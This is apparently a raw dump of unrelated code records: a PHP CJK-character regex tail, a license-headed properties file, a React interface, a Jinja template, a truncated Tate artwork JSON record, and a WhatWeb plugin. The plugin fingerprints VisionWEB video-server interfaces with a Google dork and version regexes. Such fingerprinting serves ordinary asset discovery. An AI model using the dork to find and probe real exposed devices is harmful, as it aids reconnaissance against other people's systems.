.\n'\\x{8844}\\x{8846}\\x{884C}\\x{884D}\\x{8852}\\x{8853}\\x{8857}\\x{8859}\\x{885B}' .\n'\\x{885D}\\x{885E}\\x{8861}\\x{8862}\\x{8863}\\x{8868}\\x{886B}\\x{8870}\\x{8872}' .\n'\\x{8875}\\x{8877}\\x{887D}\\x{887E}\\x{887F}\\x{8881}\\x{8882}\\x{8888}\\x{888B}' .\n'\\x{888D}\\x{8892}\\x{8896}\\x{8897}\\x{8899}\\x{889E}\\x{88A2}\\x{88A4}\\x{88AB}' .\n'\\x{88AE}\\x{88B0}\\x{88B1}\\x{88B4}\\x{88B5}\\x{88B7}\\x{88BF}\\x{88C1}\\x{88C2}' .\n'\\x{88C3}\\x{88C4}\\x{88C5}\\x{88CF}\\x{88D4}\\x{88D5}\\x{88D8}\\x{88D9}\\x{88DC}' .\n'\\x{88DD}\\x{88DF}\\x{88E1}\\x{88E8}\\x{88F2}\\x{88F3}\\x{88F4}\\x{88F8}\\x{88F9}' .\n'\\x{88FC}\\x{88FD}\\x{88FE}\\x{8902}\\x{8904}\\x{8907}\\x{890A}\\x{890C}\\x{8910}' .\n'\\x{8912}\\x{8913}\\x{891D}\\x{891E}\\x{8925}\\x{892A}\\x{892B}\\x{8936}\\x{8938}' .\n'\\x{893B}\\x{8941}\\x{8943}\\x{8944}\\x{894C}\\x{894D}\\x{8956}\\x{895E}\\x{895F}' .\n'\\x{8960}\\x{8964}\\x{8966}\\x{896A}\\x{896D}\\x{896F}\\x{8972}\\x{8974}\\x{8977}' .\n'\\x{897E}\\x{897F}\\x{8981}\\x{8983}\\x{8986}\\x{8987}\\x{8988}\\x{898A}\\x{898B}' .\n'\\x{898F}\\x{8993}\\x{8996}\\x{8997}\\x{8998}\\x{899A}\\x{89A1}\\x{89A6}\\x{89A7}' .\n'\\x{89A9}\\x{89AA}\\x{89AC}\\x{89AF}\\x{89B2}\\x{89B3}\\x{89BA}\\x{89BD}\\x{89BF}' .\n'\\x{89C0}\\x{89D2}\\x{89DA}\\x{89DC}\\x{89DD}\\x{89E3}\\x{89E6}\\x{89E7}\\x{89F4}' .\n'\\x{89F8}\\x{8A00}\\x{8A02}\\x{8A03}\\x{8A08}\\x{8A0A}\\x{8A0C}\\x{8A0E}\\x{8A10}' .\n'\\x{8A13}\\x{8A16}\\x{8A17}\\x{8A18}\\x{8A1B}\\x{8A1D}\\x{8A1F}\\x{8A23}\\x{8A25}' .\n'\\x{8A2A}\\x{8A2D}\\x{8A31}\\x{8A33}\\x{8A34}\\x{8A36}\\x{8A3A}\\x{8A3B}\\x{8A3C}' .\n'\\x{8A41}\\x{8A46}\\x{8A48}\\x{8A50}\\x{8A51}\\x{8A52}\\x{8A54}\\x{8A55}\\x{8A5B}' .\n'\\x{8A5E}\\x{8A60}\\x{8A62}\\x{8A63}\\x{8A66}\\x{8A69}\\x{8A6B}\\x{8A6C}\\x{8A6D}' .\n'\\x{8A6E}\\x{8A70}\\x{8A71}\\x{8A72}\\x{8A73}\\x{8A7C}\\x{8A82}\\x{8A84}\\x{8A85}' .\n'\\x{8A87}\\x{8A89}\\x{8A8C}\\x{8A8D}\\x{8A91}\\x{8A93}\\x{8A95}\\x{8A98}\\x{8A9A}' .\n'\\x{8A9E}\\x{8AA0}\\x{8AA1}\\x{8AA3}\\x{8AA4}\\x{8AA5}\\x{8AA6}\\x{8AA8}\\x{8AAC}' .\n'\\x{8AAD}\\x{8AB0}\\x{8AB2}\\x{8AB9}\\x{8ABC}\\x{8ABF}\\x{8AC2}\\x{8AC4}\\x{8AC7}' .\n'\\x{8ACB}\\x{8ACC}\\x{8ACD}\\x{8ACF}\\x{8AD2}\\x{8AD6}\\x{8ADA}\\x{8ADB}\\x{8ADC}' .\n'\\x{8ADE}\\x{8AE0}\\x{8AE1}\\x{8AE2}\\x{8AE4}\\x{8AE6}\\x{8AE7}\\x{8AEB}\\x{8AED}' .\n'\\x{8AEE}\\x{8AF1}\\x{8AF3}\\x{8AF7}\\x{8AF8}\\x{8AFA}\\x{8AFE}\\x{8B00}\\x{8B01}' .\n'\\x{8B02}\\x{8B04}\\x{8B07}\\x{8B0C}\\x{8B0E}\\x{8B10}\\x{8B14}\\x{8B16}\\x{8B17}' .\n'\\x{8B19}\\x{8B1A}\\x{8B1B}\\x{8B1D}\\x{8B20}\\x{8B21}\\x{8B26}\\x{8B28}\\x{8B2B}' .\n'\\x{8B2C}\\x{8B33}\\x{8B39}\\x{8B3E}\\x{8B41}\\x{8B49}\\x{8B4C}\\x{8B4E}\\x{8B4F}' .\n'\\x{8B56}\\x{8B58}\\x{8B5A}\\x{8B5B}\\x{8B5C}\\x{8B5F}\\x{8B66}\\x{8B6B}\\x{8B6C}' .\n'\\x{8B6F}\\x{8B70}\\x{8B71}\\x{8B72}\\x{8B74}\\x{8B77}\\x{8B7D}\\x{8B80}\\x{8B83}' .\n'\\x{8B8A}\\x{8B8C}\\x{8B8E}\\x{8B90}\\x{8B92}\\x{8B93}\\x{8B96}\\x{8B99}\\x{8B9A}' .\n'\\x{8C37}\\x{8C3A}\\x{8C3F}\\x{8C41}\\x{8C46}\\x{8C48}\\x{8C4A}\\x{8C4C}\\x{8C4E}' .\n'\\x{8C50}\\x{8C55}\\x{8C5A}\\x{8C61}\\x{8C62}\\x{8C6A}\\x{8C6B}\\x{8C6C}\\x{8C78}' .\n'\\x{8C79}\\x{8C7A}\\x{8C7C}\\x{8C82}\\x{8C85}\\x{8C89}\\x{8C8A}\\x{8C8C}\\x{8C8D}' .\n'\\x{8C8E}\\x{8C94}\\x{8C98}\\x{8C9D}\\x{8C9E}\\x{8CA0}\\x{8CA1}\\x{8CA2}\\x{8CA7}' .\n'\\x{8CA8}\\x{8CA9}\\x{8CAA}\\x{8CAB}\\x{8CAC}\\x{8CAD}\\x{8CAE}\\x{8CAF}\\x{8CB0}' .\n'\\x{8CB2}\\x{8CB3}\\x{8CB4}\\x{8CB6}\\x{8CB7}\\x{8CB8}\\x{8CBB}\\x{8CBC}\\x{8CBD}' .\n'\\x{8CBF}\\x{8CC0}\\x{8CC1}\\x{8CC2}\\x{8CC3}\\x{8CC4}\\x{8CC7}\\x{8CC8}\\x{8CCA}' .\n'\\x{8CCD}\\x{8CCE}\\x{8CD1}\\x{8CD3}\\x{8CDA}\\x{8CDB}\\x{8CDC}\\x{8CDE}\\x{8CE0}' .\n'\\x{8CE2}\\x{8CE3}\\x{8CE4}\\x{8CE6}\\x{8CEA}\\x{8CED}\\x{8CFA}\\x{8CFB}\\x{8CFC}' .\n'\\x{8CFD}\\x{8D04}\\x{8D05}\\x{8D07}\\x{8D08}\\x{8D0A}\\x{8D0B}\\x{8D0D}\\x{8D0F}' .\n'\\x{8D10}\\x{8D13}\\x{8D14}\\x{8D16}\\x{8D64}\\x{8D66}\\x{8D67}\\x{8D6B}\\x{8D6D}' .\n'\\x{8D70}\\x{8D71}\\x{8D73}\\x{8D74}\\x{8D77}\\x{8D81}\\x{8D85}\\x{8D8A}\\x{8D99}' .\n'\\x{8DA3}\\x{8DA8}\\x{8DB3}\\x{8DBA}\\x{8DBE}\\x{8DC2}\\x{8DCB}\\x{8DCC}\\x{8DCF}' .\n'\\x{8DD6}\\x{8DDA}\\x{8DDB}\\x{8DDD}\\x{8DDF}\\x{8DE1}\\x{8DE3}\\x{8DE8}\\x{8DEA}' .\n'\\x{8DEB}\\x{8DEF}\\x{8DF3}\\x{8DF5}\\x{8DFC}\\x{8DFF}\\x{8E08}\\x{8E09}\\x{8E0A}' .\n'\\x{8E0F}\\x{8E10}\\x{8E1D}\\x{8E1E}\\x{8E1F}\\x{8E2A}\\x{8E30}\\x{8E34}\\x{8E35}' .\n'\\x{8E42}\\x{8E44}\\x{8E47}\\x{8E48}\\x{8E49}\\x{8E4A}\\x{8E4C}\\x{8E50}\\x{8E55}' .\n'\\x{8E59}\\x{8E5F}\\x{8E60}\\x{8E63}\\x{8E64}\\x{8E72}\\x{8E74}\\x{8E76}\\x{8E7C}' .\n'\\x{8E81}\\x{8E84}\\x{8E85}\\x{8E87}\\x{8E8A}\\x{8E8B}\\x{8E8D}\\x{8E91}\\x{8E93}' .\n'\\x{8E94}\\x{8E99}\\x{8EA1}\\x{8EAA}\\x{8EAB}\\x{8EAC}\\x{8EAF}\\x{8EB0}\\x{8EB1}' .\n'\\x{8EBE}\\x{8EC5}\\x{8EC6}\\x{8EC8}\\x{8ECA}\\x{8ECB}\\x{8ECC}\\x{8ECD}\\x{8ED2}' .\n'\\x{8EDB}\\x{8EDF}\\x{8EE2}\\x{8EE3}\\x{8EEB}\\x{8EF8}\\x{8EFB}\\x{8EFC}\\x{8EFD}' .\n'\\x{8EFE}\\x{8F03}\\x{8F05}\\x{8F09}\\x{8F0A}\\x{8F0C}\\x{8F12}\\x{8F13}\\x{8F14}' .\n'\\x{8F15}\\x{8F19}\\x{8F1B}\\x{8F1C}\\x{8F1D}\\x{8F1F}\\x{8F26}\\x{8F29}\\x{8F2A}' .\n'\\x{8F2F}\\x{8F33}\\x{8F38}\\x{8F39}\\x{8F3B}\\x{8F3E}\\x{8F3F}\\x{8F42}\\x{8F44}' .\n'\\x{8F45}\\x{8F46}\\x{8F49}\\x{8F4C}\\x{8F4D}\\x{8F4E}\\x{8F57}\\x{8F5C}\\x{8F5F}' .\n'\\x{8F61}\\x{8F62}\\x{8F63}\\x{8F64}\\x{8F9B}\\x{8F9C}\\x{8F9E}\\x{8F9F}\\x{8FA3}' .\n'\\x{8FA7}\\x{8FA8}\\x{8FAD}\\x{8FAE}\\x{8FAF}\\x{8FB0}\\x{8FB1}\\x{8FB2}\\x{8FB7}' .\n'\\x{8FBA}\\x{8FBB}\\x{8FBC}\\x{8FBF}\\x{8FC2}\\x{8FC4}\\x{8FC5}\\x{8FCE}\\x{8FD1}' .\n'\\x{8FD4}\\x{8FDA}\\x{8FE2}\\x{8FE5}\\x{8FE6}\\x{8FE9}\\x{8FEA}\\x{8FEB}\\x{8FED}' .\n'\\x{8FEF}\\x{8FF0}\\x{8FF4}\\x{8FF7}\\x{8FF8}\\x{8FF9}\\x{8FFA}\\x{8FFD}\\x{9000}' .\n'\\x{9001}\\x{9003}\\x{9005}\\x{9006}\\x{900B}\\x{900D}\\x{900E}\\x{900F}\\x{9010}' .\n'\\x{9011}\\x{9013}\\x{9014}\\x{9015}\\x{9016}\\x{9017}\\x{9019}\\x{901A}\\x{901D}' .\n'\\x{901E}\\x{901F}\\x{9020}\\x{9021}\\x{9022}\\x{9023}\\x{9027}\\x{902E}\\x{9031}' .\n'\\x{9032}\\x{9035}\\x{9036}\\x{9038}\\x{9039}\\x{903C}\\x{903E}\\x{9041}\\x{9042}' .\n'\\x{9045}\\x{9047}\\x{9049}\\x{904A}\\x{904B}\\x{904D}\\x{904E}\\x{904F}\\x{9050}' .\n'\\x{9051}\\x{9052}\\x{9053}\\x{9054}\\x{9055}\\x{9056}\\x{9058}\\x{9059}\\x{905C}' .\n'\\x{905E}\\x{9060}\\x{9061}\\x{9063}\\x{9065}\\x{9068}\\x{9069}\\x{906D}\\x{906E}' .\n'\\x{906F}\\x{9072}\\x{9075}\\x{9076}\\x{9077}\\x{9078}\\x{907A}\\x{907C}\\x{907D}' .\n'\\x{907F}\\x{9080}\\x{9081}\\x{9082}\\x{9083}\\x{9084}\\x{9087}\\x{9089}\\x{908A}' .\n'\\x{908F}\\x{9091}\\x{90A3}\\x{90A6}\\x{90A8}\\x{90AA}\\x{90AF}\\x{90B1}\\x{90B5}' .\n'\\x{90B8}\\x{90C1}\\x{90CA}\\x{90CE}\\x{90DB}\\x{90E1}\\x{90E2}\\x{90E4}\\x{90E8}' .\n'\\x{90ED}\\x{90F5}\\x{90F7}\\x{90FD}\\x{9102}\\x{9112}\\x{9119}\\x{912D}\\x{9130}' .\n'\\x{9132}\\x{9149}\\x{914A}\\x{914B}\\x{914C}\\x{914D}\\x{914E}\\x{9152}\\x{9154}' .\n'\\x{9156}\\x{9158}\\x{9162}\\x{9163}\\x{9165}\\x{9169}\\x{916A}\\x{916C}\\x{9172}' .\n'\\x{9173}\\x{9175}\\x{9177}\\x{9178}\\x{9182}\\x{9187}\\x{9189}\\x{918B}\\x{918D}' .\n'\\x{9190}\\x{9192}\\x{9197}\\x{919C}\\x{91A2}\\x{91A4}\\x{91AA}\\x{91AB}\\x{91AF}' .\n'\\x{91B4}\\x{91B5}\\x{91B8}\\x{91BA}\\x{91C0}\\x{91C1}\\x{91C6}\\x{91C7}\\x{91C8}' .\n'\\x{91C9}\\x{91CB}\\x{91CC}\\x{91CD}\\x{91CE}\\x{91CF}\\x{91D0}\\x{91D1}\\x{91D6}' .\n'\\x{91D8}\\x{91DB}\\x{91DC}\\x{91DD}\\x{91DF}\\x{91E1}\\x{91E3}\\x{91E6}\\x{91E7}' .\n'\\x{91F5}\\x{91F6}\\x{91FC}\\x{91FF}\\x{920D}\\x{920E}\\x{9211}\\x{9214}\\x{9215}' .\n'\\x{921E}\\x{9229}\\x{922C}\\x{9234}\\x{9237}\\x{923F}\\x{9244}\\x{9245}\\x{9248}' .\n'\\x{9249}\\x{924B}\\x{9250}\\x{9257}\\x{925A}\\x{925B}\\x{925E}\\x{9262}\\x{9264}' .\n'\\x{9266}\\x{9271}\\x{927E}\\x{9280}\\x{9283}\\x{9285}\\x{9291}\\x{9293}\\x{9295}' .\n'\\x{9296}\\x{9298}\\x{929A}\\x{929B}\\x{929C}\\x{92AD}\\x{92B7}\\x{92B9}\\x{92CF}' .\n'\\x{92D2}\\x{92E4}\\x{92E9}\\x{92EA}\\x{92ED}\\x{92F2}\\x{92F3}\\x{92F8}\\x{92FA}' .\n'\\x{92FC}\\x{9306}\\x{930F}\\x{9310}\\x{9318}\\x{9319}\\x{931A}\\x{9320}\\x{9322}' .\n'\\x{9323}\\x{9326}\\x{9328}\\x{932B}\\x{932C}\\x{932E}\\x{932F}\\x{9332}\\x{9335}' .\n'\\x{933A}\\x{933B}\\x{9344}\\x{934B}\\x{934D}\\x{9354}\\x{9356}\\x{935B}\\x{935C}' .\n'\\x{9360}\\x{936C}\\x{936E}\\x{9375}\\x{937C}\\x{937E}\\x{938C}\\x{9394}\\x{9396}' .\n'\\x{9397}\\x{939A}\\x{93A7}\\x{93AC}\\x{93AD}\\x{93AE}\\x{93B0}\\x{93B9}\\x{93C3}' .\n'\\x{93C8}\\x{93D0}\\x{93D1}\\x{93D6}\\x{93D7}\\x{93D8}\\x{93DD}\\x{93E1}\\x{93E4}' .\n'\\x{93E5}\\x{93E8}\\x{9403}\\x{9407}\\x{9410}\\x{9413}\\x{9414}\\x{9418}\\x{9419}' .\n'\\x{941A}\\x{9421}\\x{942B}\\x{9435}\\x{9436}\\x{9438}\\x{943A}\\x{9441}\\x{9444}' .\n'\\x{9451}\\x{9452}\\x{9453}\\x{945A}\\x{945B}\\x{945E}\\x{9460}\\x{9462}\\x{946A}' .\n'\\x{9470}\\x{9475}\\x{9477}\\x{947C}\\x{947D}\\x{947E}\\x{947F}\\x{9481}\\x{9577}' .\n'\\x{9580}\\x{9582}\\x{9583}\\x{9587}\\x{9589}\\x{958A}\\x{958B}\\x{958F}\\x{9591}' .\n'\\x{9593}\\x{9594}\\x{9596}\\x{9598}\\x{9599}\\x{95A0}\\x{95A2}\\x{95A3}\\x{95A4}' .\n'\\x{95A5}\\x{95A7}\\x{95A8}\\x{95AD}\\x{95B2}\\x{95B9}\\x{95BB}\\x{95BC}\\x{95BE}' .\n'\\x{95C3}\\x{95C7}\\x{95CA}\\x{95CC}\\x{95CD}\\x{95D4}\\x{95D5}\\x{95D6}\\x{95D8}' .\n'\\x{95DC}\\x{95E1}\\x{95E2}\\x{95E5}\\x{961C}\\x{9621}\\x{9628}\\x{962A}\\x{962E}' .\n'\\x{962F}\\x{9632}\\x{963B}\\x{963F}\\x{9640}\\x{9642}\\x{9644}\\x{964B}\\x{964C}' .\n'\\x{964D}\\x{964F}\\x{9650}\\x{965B}\\x{965C}\\x{965D}\\x{965E}\\x{965F}\\x{9662}' .\n'\\x{9663}\\x{9664}\\x{9665}\\x{9666}\\x{966A}\\x{966C}\\x{9670}\\x{9672}\\x{9673}' .\n'\\x{9675}\\x{9676}\\x{9677}\\x{9678}\\x{967A}\\x{967D}\\x{9685}\\x{9686}\\x{9688}' .\n'\\x{968A}\\x{968B}\\x{968D}\\x{968E}\\x{968F}\\x{9694}\\x{9695}\\x{9697}\\x{9698}' .\n'\\x{9699}\\x{969B}\\x{969C}\\x{96A0}\\x{96A3}\\x{96A7}\\x{96A8}\\x{96AA}\\x{96B0}' .\n'\\x{96B1}\\x{96B2}\\x{96B4}\\x{96B6}\\x{96B7}\\x{96B8}\\x{96B9}\\x{96BB}\\x{96BC}' .\n'\\x{96C0}\\x{96C1}\\x{96C4}\\x{96C5}\\x{96C6}\\x{96C7}\\x{96C9}\\x{96CB}\\x{96CC}' .\n'\\x{96CD}\\x{96CE}\\x{96D1}\\x{96D5}\\x{96D6}\\x{96D9}\\x{96DB}\\x{96DC}\\x{96E2}' .\n'\\x{96E3}\\x{96E8}\\x{96EA}\\x{96EB}\\x{96F0}\\x{96F2}\\x{96F6}\\x{96F7}\\x{96F9}' .\n'\\x{96FB}\\x{9700}\\x{9704}\\x{9706}\\x{9707}\\x{9708}\\x{970A}\\x{970D}\\x{970E}' .\n'\\x{970F}\\x{9711}\\x{9713}\\x{9716}\\x{9719}\\x{971C}\\x{971E}\\x{9724}\\x{9727}' .\n'\\x{972A}\\x{9730}\\x{9732}\\x{9738}\\x{9739}\\x{973D}\\x{973E}\\x{9742}\\x{9744}' .\n'\\x{9746}\\x{9748}\\x{9749}\\x{9752}\\x{9756}\\x{9759}\\x{975C}\\x{975E}\\x{9760}' .\n'\\x{9761}\\x{9762}\\x{9764}\\x{9766}\\x{9768}\\x{9769}\\x{976B}\\x{976D}\\x{9771}' .\n'\\x{9774}\\x{9779}\\x{977A}\\x{977C}\\x{9781}\\x{9784}\\x{9785}\\x{9786}\\x{978B}' .\n'\\x{978D}\\x{978F}\\x{9790}\\x{9798}\\x{979C}\\x{97A0}\\x{97A3}\\x{97A6}\\x{97A8}' .\n'\\x{97AB}\\x{97AD}\\x{97B3}\\x{97B4}\\x{97C3}\\x{97C6}\\x{97C8}\\x{97CB}\\x{97D3}' .\n'\\x{97DC}\\x{97ED}\\x{97EE}\\x{97F2}\\x{97F3}\\x{97F5}\\x{97F6}\\x{97FB}\\x{97FF}' .\n'\\x{9801}\\x{9802}\\x{9803}\\x{9805}\\x{9806}\\x{9808}\\x{980C}\\x{980F}\\x{9810}' .\n'\\x{9811}\\x{9812}\\x{9813}\\x{9817}\\x{9818}\\x{981A}\\x{9821}\\x{9824}\\x{982C}' .\n'\\x{982D}\\x{9834}\\x{9837}\\x{9838}\\x{983B}\\x{983C}\\x{983D}\\x{9846}\\x{984B}' .\n'\\x{984C}\\x{984D}\\x{984E}\\x{984F}\\x{9854}\\x{9855}\\x{9858}\\x{985B}\\x{985E}' .\n'\\x{9867}\\x{986B}\\x{986F}\\x{9870}\\x{9871}\\x{9873}\\x{9874}\\x{98A8}\\x{98AA}' .\n'\\x{98AF}\\x{98B1}\\x{98B6}\\x{98C3}\\x{98C4}\\x{98C6}\\x{98DB}\\x{98DC}\\x{98DF}' .\n'\\x{98E2}\\x{98E9}\\x{98EB}\\x{98ED}\\x{98EE}\\x{98EF}\\x{98F2}\\x{98F4}\\x{98FC}' .\n'\\x{98FD}\\x{98FE}\\x{9903}\\x{9905}\\x{9909}\\x{990A}\\x{990C}\\x{9910}\\x{9912}' .\n'\\x{9913}\\x{9914}\\x{9918}\\x{991D}\\x{991E}\\x{9920}\\x{9921}\\x{9924}\\x{9928}' .\n'\\x{992C}\\x{992E}\\x{993D}\\x{993E}\\x{9942}\\x{9945}\\x{9949}\\x{994B}\\x{994C}' .\n'\\x{9950}\\x{9951}\\x{9952}\\x{9955}\\x{9957}\\x{9996}\\x{9997}\\x{9998}\\x{9999}' .\n'\\x{99A5}\\x{99A8}\\x{99AC}\\x{99AD}\\x{99AE}\\x{99B3}\\x{99B4}\\x{99BC}\\x{99C1}' .\n'\\x{99C4}\\x{99C5}\\x{99C6}\\x{99C8}\\x{99D0}\\x{99D1}\\x{99D2}\\x{99D5}\\x{99D8}' .\n'\\x{99DB}\\x{99DD}\\x{99DF}\\x{99E2}\\x{99ED}\\x{99EE}\\x{99F1}\\x{99F2}\\x{99F8}' .\n'\\x{99FB}\\x{99FF}\\x{9A01}\\x{9A05}\\x{9A0E}\\x{9A0F}\\x{9A12}\\x{9A13}\\x{9A19}' .\n'\\x{9A28}\\x{9A2B}\\x{9A30}\\x{9A37}\\x{9A3E}\\x{9A40}\\x{9A42}\\x{9A43}\\x{9A45}' .\n'\\x{9A4D}\\x{9A55}\\x{9A57}\\x{9A5A}\\x{9A5B}\\x{9A5F}\\x{9A62}\\x{9A64}\\x{9A65}' .\n'\\x{9A69}\\x{9A6A}\\x{9A6B}\\x{9AA8}\\x{9AAD}\\x{9AB0}\\x{9AB8}\\x{9ABC}\\x{9AC0}' .\n'\\x{9AC4}\\x{9ACF}\\x{9AD1}\\x{9AD3}\\x{9AD4}\\x{9AD8}\\x{9ADE}\\x{9ADF}\\x{9AE2}' .\n'\\x{9AE3}\\x{9AE6}\\x{9AEA}\\x{9AEB}\\x{9AED}\\x{9AEE}\\x{9AEF}\\x{9AF1}\\x{9AF4}' .\n'\\x{9AF7}\\x{9AFB}\\x{9B06}\\x{9B18}\\x{9B1A}\\x{9B1F}\\x{9B22}\\x{9B23}\\x{9B25}' .\n'\\x{9B27}\\x{9B28}\\x{9B29}\\x{9B2A}\\x{9B2E}\\x{9B2F}\\x{9B31}\\x{9B32}\\x{9B3B}' .\n'\\x{9B3C}\\x{9B41}\\x{9B42}\\x{9B43}\\x{9B44}\\x{9B45}\\x{9B4D}\\x{9B4E}\\x{9B4F}' .\n'\\x{9B51}\\x{9B54}\\x{9B58}\\x{9B5A}\\x{9B6F}\\x{9B74}\\x{9B83}\\x{9B8E}\\x{9B91}' .\n'\\x{9B92}\\x{9B93}\\x{9B96}\\x{9B97}\\x{9B9F}\\x{9BA0}\\x{9BA8}\\x{9BAA}\\x{9BAB}' .\n'\\x{9BAD}\\x{9BAE}\\x{9BB4}\\x{9BB9}\\x{9BC0}\\x{9BC6}\\x{9BC9}\\x{9BCA}\\x{9BCF}' .\n'\\x{9BD1}\\x{9BD2}\\x{9BD4}\\x{9BD6}\\x{9BDB}\\x{9BE1}\\x{9BE2}\\x{9BE3}\\x{9BE4}' .\n'\\x{9BE8}\\x{9BF0}\\x{9BF1}\\x{9BF2}\\x{9BF5}\\x{9C04}\\x{9C06}\\x{9C08}\\x{9C09}' .\n'\\x{9C0A}\\x{9C0C}\\x{9C0D}\\x{9C10}\\x{9C12}\\x{9C13}\\x{9C14}\\x{9C15}\\x{9C1B}' .\n'\\x{9C21}\\x{9C24}\\x{9C25}\\x{9C2D}\\x{9C2E}\\x{9C2F}\\x{9C30}\\x{9C32}\\x{9C39}' .\n'\\x{9C3A}\\x{9C3B}\\x{9C3E}\\x{9C46}\\x{9C47}\\x{9C48}\\x{9C52}\\x{9C57}\\x{9C5A}' .\n'\\x{9C60}\\x{9C67}\\x{9C76}\\x{9C78}\\x{9CE5}\\x{9CE7}\\x{9CE9}\\x{9CEB}\\x{9CEC}' .\n'\\x{9CF0}\\x{9CF3}\\x{9CF4}\\x{9CF6}\\x{9D03}\\x{9D06}\\x{9D07}\\x{9D08}\\x{9D09}' .\n'\\x{9D0E}\\x{9D12}\\x{9D15}\\x{9D1B}\\x{9D1F}\\x{9D23}\\x{9D26}\\x{9D28}\\x{9D2A}' .\n'\\x{9D2B}\\x{9D2C}\\x{9D3B}\\x{9D3E}\\x{9D3F}\\x{9D41}\\x{9D44}\\x{9D46}\\x{9D48}' .\n'\\x{9D50}\\x{9D51}\\x{9D59}\\x{9D5C}\\x{9D5D}\\x{9D5E}\\x{9D60}\\x{9D61}\\x{9D64}' .\n'\\x{9D6C}\\x{9D6F}\\x{9D72}\\x{9D7A}\\x{9D87}\\x{9D89}\\x{9D8F}\\x{9D9A}\\x{9DA4}' .\n'\\x{9DA9}\\x{9DAB}\\x{9DAF}\\x{9DB2}\\x{9DB4}\\x{9DB8}\\x{9DBA}\\x{9DBB}\\x{9DC1}' .\n'\\x{9DC2}\\x{9DC4}\\x{9DC6}\\x{9DCF}\\x{9DD3}\\x{9DD9}\\x{9DE6}\\x{9DED}\\x{9DEF}' .\n'\\x{9DF2}\\x{9DF8}\\x{9DF9}\\x{9DFA}\\x{9DFD}\\x{9E1A}\\x{9E1B}\\x{9E1E}\\x{9E75}' .\n'\\x{9E78}\\x{9E79}\\x{9E7D}\\x{9E7F}\\x{9E81}\\x{9E88}\\x{9E8B}\\x{9E8C}\\x{9E91}' .\n'\\x{9E92}\\x{9E93}\\x{9E95}\\x{9E97}\\x{9E9D}\\x{9E9F}\\x{9EA5}\\x{9EA6}\\x{9EA9}' .\n'\\x{9EAA}\\x{9EAD}\\x{9EB8}\\x{9EB9}\\x{9EBA}\\x{9EBB}\\x{9EBC}\\x{9EBE}\\x{9EBF}' .\n'\\x{9EC4}\\x{9ECC}\\x{9ECD}\\x{9ECE}\\x{9ECF}\\x{9ED0}\\x{9ED2}\\x{9ED4}\\x{9ED8}' .\n'\\x{9ED9}\\x{9EDB}\\x{9EDC}\\x{9EDD}\\x{9EDE}\\x{9EE0}\\x{9EE5}\\x{9EE8}\\x{9EEF}' .\n'\\x{9EF4}\\x{9EF6}\\x{9EF7}\\x{9EF9}\\x{9EFB}\\x{9EFC}\\x{9EFD}\\x{9F07}\\x{9F08}' .\n'\\x{9F0E}\\x{9F13}\\x{9F15}\\x{9F20}\\x{9F21}\\x{9F2C}\\x{9F3B}\\x{9F3E}\\x{9F4A}' .\n'\\x{9F4B}\\x{9F4E}\\x{9F4F}\\x{9F52}\\x{9F54}\\x{9F5F}\\x{9F60}\\x{9F61}\\x{9F62}' .\n'\\x{9F63}\\x{9F66}\\x{9F67}\\x{9F6A}\\x{9F6C}\\x{9F72}\\x{9F76}\\x{9F77}\\x{9F8D}' .\n'\\x{9F95}\\x{9F9C}\\x{9F9D}\\x{9FA0}]{1,15}$/iu');\n"} {"text": "# The MIT License\n#\n# Copyright (c) 2004-2010, Sun Microsystems, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nN/A=N/D\n"} {"text": "import * as React from 'react';\n\nexport interface RangeProps {\n required?: boolean;\n info?: string;\n dataHook?: string;\n style?: string;\n appendToParent?: boolean;\n}\n\nexport default class Range extends React.Component<RangeProps> {}\n"} {"text": "##\n# This file is part of WhatWeb and may be subject to\n# redistribution and commercial restrictions. Please see the WhatWeb\n# web site for more information on licensing and terms of use.\n# http://www.morningstarsecurity.com/research/whatweb\n##\nPlugin.define \"VisionWEB\" do\nauthor \"Brendan Coles <bcoles@gmail.com>\" # 2012-09-01\nversion \"0.1\"\ndescription \"VisionWEB - video server web interface - Homepage [offline]: http://www.cieffe.com/\"\n\n# ShodanHQ results as at 2012-09-01 #\n# 463 for IWeb/1.0\n\n# Google results as at 2012-09-01 #\n# 6 for intitle:\"VisionWEB\" \"Insignis Technologies\"\n\n# Dorks #\ndorks [\n'intitle:\"VisionWEB\" \"Insignis Technologies\"'\n]\n\n\n\n# Matches #\nmatches [\n\n# HTTP Server Header\n{ :certainty=>75, :search=>\"headers[server]\", :regexp=>/^IWeb\\/([^\\s]+)/ },\n\n# / # Version Detection # JavaScript\n{ :version=>/VarPageTitle=\"Proxima\\d? DVMS VisionWEB v([^\\s^\"]+)\";/ },\n\n# / # Footer\n{ :text=>'<b>CIEFFE srl</b> - \"We power Your eyes\"<br' },\n\n# / # Meta Copyright # Year Detection\n{ :string=>/<meta name=\"COPYRIGHT\" content=\"&copy; 2001-(2[\\d]{3}) Insignis Technologies\"/ },\n\n\n]\n\nend\n\n"} {"text": "{%\n set js_commons = [\n 'src/utils.js',\n 'src/motion.js'\n ]\n%}\n\n{% for common in js_commons %}\n <script type=\"text/javascript\" src=\"{{ url_for(theme.js) }}/{{ common }}?v={{ theme.version }}\"></script>\n{% endfor %}\n"} {"text": "{\n \"acno\": \"D30833\", \n \"acquisitionYear\": 1856, \n \"all_artists\": \"Joseph Mallord William Turner\", \n \"catalogueGroup\": {\n \"accessionRanges\": \"D30823-D30877; D30879-D30887; D41035-D41037\", \n \"completeStatus\": \"COMPLETE\", \n \"finbergNumber\": \"CCCV\", \n \"groupType\": \"Turner Sketchbook\", \n \"id\": 65933, \n \"shortTitle\": \"Hamburg and Copenhagen Sketchbook\"\n }, \n \"classification\": \"on paper, unique\", \n \"contributorCount\": 1, \n \"contributors\": 